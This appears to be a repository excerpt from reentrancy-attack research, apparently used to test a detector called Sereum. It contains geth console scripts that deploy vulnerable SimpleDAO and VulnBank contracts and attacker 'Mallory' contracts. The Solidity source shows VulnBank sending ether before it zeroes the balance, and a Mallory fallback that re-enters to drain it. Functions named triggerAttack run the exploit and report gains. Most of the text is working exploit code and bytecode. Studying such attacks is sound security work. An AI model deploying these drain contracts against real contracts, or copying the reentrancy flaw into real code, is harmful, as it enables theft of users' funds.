web3.eth.contract([{"constant":true,"inputs":[],"name":"dao","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"setDAO","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]); 62 | var mallory = malloryContract.new( 63 | { 64 | from: attacker, 65 | data: '0x608060405234801561001057600080fd5b50610320806100206000396000f3fe608060405260043610610046576000357c0100000000000000000000000000000000000000000000000000000000900480634162169f146101e4578063e73a914c1461023b575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166359f1286d306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561013d57600080fd5b505afa158015610151573d6000803e3d6000fd5b505050506040513d602081101561016757600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156101ca57600080fd5b505af11580156101de573d6000803e3d6000fd5b50505050005b3480156101f057600080fd5b506101f961028c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024757600080fd5b5061028a6004803603602081101561025e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102b1565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea165627a7a72305820fd78428db45cd09abbd43a4cb556c92bcd0bb6d0d843088a7c00d8d9765089f60029', 66 | gas: '4700000' 67 | }, function (e, contract){ 68 | console.log(e, contract); 69 | if (typeof contract.address !== 'undefined') { 70 | console.log('Mallory contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 71 | } 72 | }) 73 | 74 | var simpledaoContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"}],"name":"donate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"to","type":"address"}],"name":"queryCredit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"credit","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]); 75 | var simpledao = simpledaoContract.new( 76 | { 77 | from: web3.eth.accounts[0], 78 | data: '0x608060405234801561001057600080fd5b50610381806100206000396000f3fe60806040526004361061005b576000357c010000000000000000000000000000000000000000000000000000000090048062362a95146100605780632e1a7d4d146100a457806359f1286d146100df578063d5d44d8014610144575b600080fd5b6100a26004803603602081101561007657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506101a9565b005b3480156100b057600080fd5b506100dd600480360360208110156100c757600080fd5b81019080803590602001909291905050506101f8565b005b3480156100eb57600080fd5b5061012e6004803603602081101561010257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102f5565b6040518082815260200191505060405180910390f35b34801561015057600080fd5b506101936004803603602081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061033d565b6040518082815260200191505060405180910390f35b346000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555050565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156102f2573373ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d806000811461029d576040519150601f19603f3d011682016040523d82523d6000602084013e6102a2565b606091505b505050806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000602052806000526040600020600091509050548156fea165627a7a7230582053094cf53a55dbe65e8ef04748d38963f03c795cdb0a4b40547d0f8feeb9229c0029', 79 | gas: '4700000' 80 | }, function (e, contract){ 81 | console.log(e, contract); 82 | if (typeof contract.address !== 'undefined') { 83 | console.log('SimpleDAO contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 84 | } 85 | }) 86 | 87 | transferSomething() 88 | 89 | 90 | 91 | transferSomething() 92 | console.log("\n===============================================================================") 93 | console.log("Wait for SimpleDAO and Mallory contracts to be mined.") 94 | console.log("Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that Mallory and SimpleDAO contract are mined.") 95 | transferSomething() 96 | console.log("Use triggerAttack() to start the attack") 97 | console.log("===============================================================================\n") 98 | 99 | 100 | function setupInitialState() { 101 | transferSomething(); 102 | 103 | console.log("[+] setting up initial state"); 104 | 105 | var victimAmount = 10000; 106 | var malloryAmount = 10; 107 | console.log("donating " + victimAmount + " wei to victim on SimpleDAO"); 108 | simpledao.donate(eth.accounts[0], {from: eth.accounts[0], value: victimAmount}); 109 | console.log("donating " + malloryAmount + " wei to Mallory on SimpleDAO"); 110 | simpledao.donate(mallory.address, {from: attacker, value: 10}); 111 | 112 | console.log("setting Mallory's target"); 113 | mallory.setDAO(simpledao.address, {from: attacker}); 114 | 115 | transferSomething(); 116 | } 117 | 118 | function printStatus() { 119 | console.log(""); 120 | console.log("SimpleDAO has " + eth.getBalance(simpledao.address) + " wei"); 121 | console.log("mallory has " + eth.getBalance(mallory.address) + " wei"); 122 | console.log("mallory has " + simpledao.queryCredit(mallory.address) + " wei invested in SimpleDAO"); 123 | console.log(""); 124 | } 125 | 126 | function triggerAttack() { 127 | transferSomething(); 128 | setupInitialState(); 129 | transferSomething(); 130 | 131 | var preBalance = eth.getBalance(mallory.address); 132 | 133 | printStatus(); 134 | 135 | console.log("[+] starting attack"); 136 | // we send one wei to mallory to start the attack 137 | var t = eth.sendTransaction({to: mallory.address, from: attacker, gas: '4700000', value: 1}); 138 | transferSomething(); 139 | 140 | printStatus(); 141 | var gains = (eth.getBalance(mallory.address) - preBalance - 1); 142 | console.log("mallory gained " + gains + " wei"); 143 | if (gains > 0) { 144 | console.log("attack status: SUCCESS"); 145 | } else { 146 | console.log("attack status: FAIL"); 147 | } 148 | 149 | // sereum only: 150 | //var r = debug.checkTransaction(t) 151 | //console.log("error: " + r.error) 152 | 153 | return t; 154 | } 155 | 156 | 157 | function getAttackTrace() { 158 | a = triggerAttack(); 159 | return debug.traceTransaction(a); 160 | } 161 | -------------------------------------------------------------------------------- /unconditional.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | /*pragma solidity ^0.4.21;*/ 3 | 4 | contract VulnBank { 5 | 6 | mapping (address => uint) private userBalances; 7 | 8 | function getBalance(address a) public view returns(uint) { 9 | return userBalances[a]; 10 | } 11 | 12 | function deposit() public payable { 13 | userBalances[msg.sender] += msg.value; 14 | } 15 | 16 | function withdrawAll() public { 17 | uint amountToWithdraw = userBalances[msg.sender]; 18 | 19 | // In this example VulnBank unconditionally sends ether to msg.sender. 20 | // The amount of ether might be 0, which will waste gas, but not do any 21 | // harm. However, an attacker can re-enter this function and exploit 22 | // the inconsistent state to drain the contract of ether. 23 | msg.sender.call.value(amountToWithdraw)(""); 24 | 25 | userBalances[msg.sender] = 0; 26 | } 27 | } 28 | 29 | contract Mallory { 30 | VulnBank vb; 31 | 32 | function attack(VulnBank _vb) public payable { 33 | vb = _vb; 34 | // deposit all ether 35 | vb.deposit.value(address(this).balance)(); 36 | // and extract again 37 | vb.withdrawAll(); 38 | msg.sender.transfer(address(this).balance); 39 | } 40 | 41 | function () external payable { 42 | vb.withdrawAll(); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /unconditional_setup.js: -------------------------------------------------------------------------------- 1 | // deploy javascript code for manual-lock.sol 2 | 3 | var defaultPassword = ""; 4 | 5 | personal.newAccount(defaultPassword); 6 | personal.newAccount(defaultPassword); 7 | function unlockAllAccounts() { 8 | // this is the prefundend dev contract 9 | personal.unlockAccount(eth.accounts[0], defaultPassword); 10 | // we'll use this as "attacker" 11 | personal.unlockAccount(eth.accounts[1], defaultPassword); 12 | } 13 | unlockAllAccounts() 14 | var attacker = eth.accounts[1]; 15 | var victim = eth.accounts[0]; 16 | 17 | console.log("prefunded balance: " + eth.getBalance(eth.accounts[0])) 18 | console.log("transferring initial funds to attacker account") 19 | eth.sendTransaction({from: eth.accounts[0], to: attacker, value: 1000000000000}) 20 | admin.sleepBlocks(3) 21 | console.log("attacker account balance: " + eth.getBalance(attacker)) 22 | 23 | function transferSomething() { 24 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[2], value: 100}) 25 | admin.sleepBlocks(4) 26 | } 27 | 28 | 29 | var malloryContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"_vb","type":"address"}],"name":"attack","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]); 30 | var mallory_create = { 31 | from: attacker, 32 | data: '0x608060405234801561001057600080fd5b50610343806100206000396000f3fe608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063d018db3e146100e0575b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1580156100c657600080fd5b505af11580156100da573d6000803e3d6000fd5b50505050005b610122600480360360208110156100f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610124565b005b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db03073ffffffffffffffffffffffffffffffffffffffff16316040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561020057600080fd5b505af1158015610214573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561029e57600080fd5b505af11580156102b2573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610313573d6000803e3d6000fd5b505056fea165627a7a7230582028a165aafca981cc939b796b9989d6d65d7d53f5975afae0bdac73be76b1e4b90029', 33 | gas: '4700000' 34 | }; 35 | 36 | 37 | var vulnbankContract = web3.eth.contract([{"constant":false,"inputs":[],"name":"withdrawAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]); 38 | var vulnbank_create = { 39 | from: web3.eth.accounts[0], 40 | data: '0x608060405234801561001057600080fd5b50610294806100206000396000f3fe608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063853828b61461005c578063d0e30db014610073578063f8b2cb4f1461007d575b600080fd5b34801561006857600080fd5b506100716100e2565b005b61007b6101d2565b005b34801561008957600080fd5b506100cc600480360360208110156100a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610220565b6040518082815260200191505060405180910390f35b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490503373ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d8060008114610183576040519150601f19603f3d011682016040523d82523d6000602084013e610188565b606091505b50505060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905091905056fea165627a7a72305820bd4bd0db6a1e822e21cde0a44d0f8246d389cd2f8bf301587e6d34567a2d1df60029', 41 | gas: '4700000' 42 | }; 43 | 44 | var mallory; 45 | 46 | console.log("[+] deploying contracts"); 47 | var vulnbank = vulnbankContract.new( 48 | vulnbank_create, 49 | function (e, contract) { 50 | console.log("vulnbank:", e, contract); 51 | if (typeof contract.address !== 'undefined') { 52 | console.log('VulnBankX Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 53 | 54 | console.log("making mallory contract") 55 | var _vb = contract.address; 56 | mallory = malloryContract.new( 57 | _vb, 58 | mallory_create, 59 | function (e, contract){ 60 | console.log("mallory", e, contract); 61 | if (typeof contract.address !== 'undefined') { 62 | console.log('Mallory Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 63 | } 64 | }) 65 | } 66 | }) 67 | 68 | transferSomething(); 69 | transferSomething(); 70 | 71 | 72 | function setupInitialState() { 73 | console.log("[+] Setting up initial state"); 74 | vulnbank.deposit({from: eth.accounts[0], value: 1000000, gas: '4700000'}); 75 | } 76 | 77 | function printStatus() { 78 | console.log(""); 79 | console.log("Mallory has " + eth.getBalance(mallory.address) + " wei"); 80 | console.log("Mallory has " + vulnbank.getBalance(mallory.address) + " wei in VulnBank"); 81 | console.log("attacker has " + eth.getBalance(attacker) + " wei"); 82 | console.log("attacker has " + vulnbank.getBalance(attacker) + " wei in VulnBank"); 83 | console.log("victim has " + vulnbank.getBalance(victim) + " wei in VulnBank"); 84 | console.log("Vulnbank has " + eth.getBalance(vulnbank.address) + " wei"); 85 | if (eth.getBalance(vulnbank.address) < vulnbank.getBalance(victim)) { 86 | console.log("Warning: VulnBank does not have enough funds to return victim's investment"); 87 | } 88 | console.log(""); 89 | } 90 | 91 | 92 | function triggerAttack() { 93 | transferSomething(); // sometimes it's stuck for some reason 94 | setupInitialState(); 95 | transferSomething(); 96 | 97 | printStatus(); 98 | 99 | var preBalance = eth.getBalance(attacker); 100 | 101 | admin.sleepBlocks(3); 102 | 103 | console.log("[+] Triggering attack"); 104 | var t = mallory.attack(vulnbank.address, {from: attacker, gas: '4700000', value: 1000000}); 105 | admin.sleepBlocks(3); 106 | 107 | printStatus() 108 | 109 | var gains = (eth.getBalance(attacker) - preBalance); 110 | console.log("Attacker gained " + gains + " wei"); 111 | if (gains > 0) { 112 | console.log("[+] Attack SUCCESS") 113 | } else { 114 | console.log("[+] Attack FAIL") 115 | } 116 | 117 | return t; 118 | } 119 | 120 | 121 | function getAttackTrace() { 122 | a = triggerAttack(); 123 | return debug.traceTransaction(a); 124 | } 125 | 126 | 127 | function checkTrace() { 128 | // sereum only 129 | t = triggerAttack(); 130 | return debug.checkTransaction(t) 131 | } 132 | --------------------------------------------------------------------------------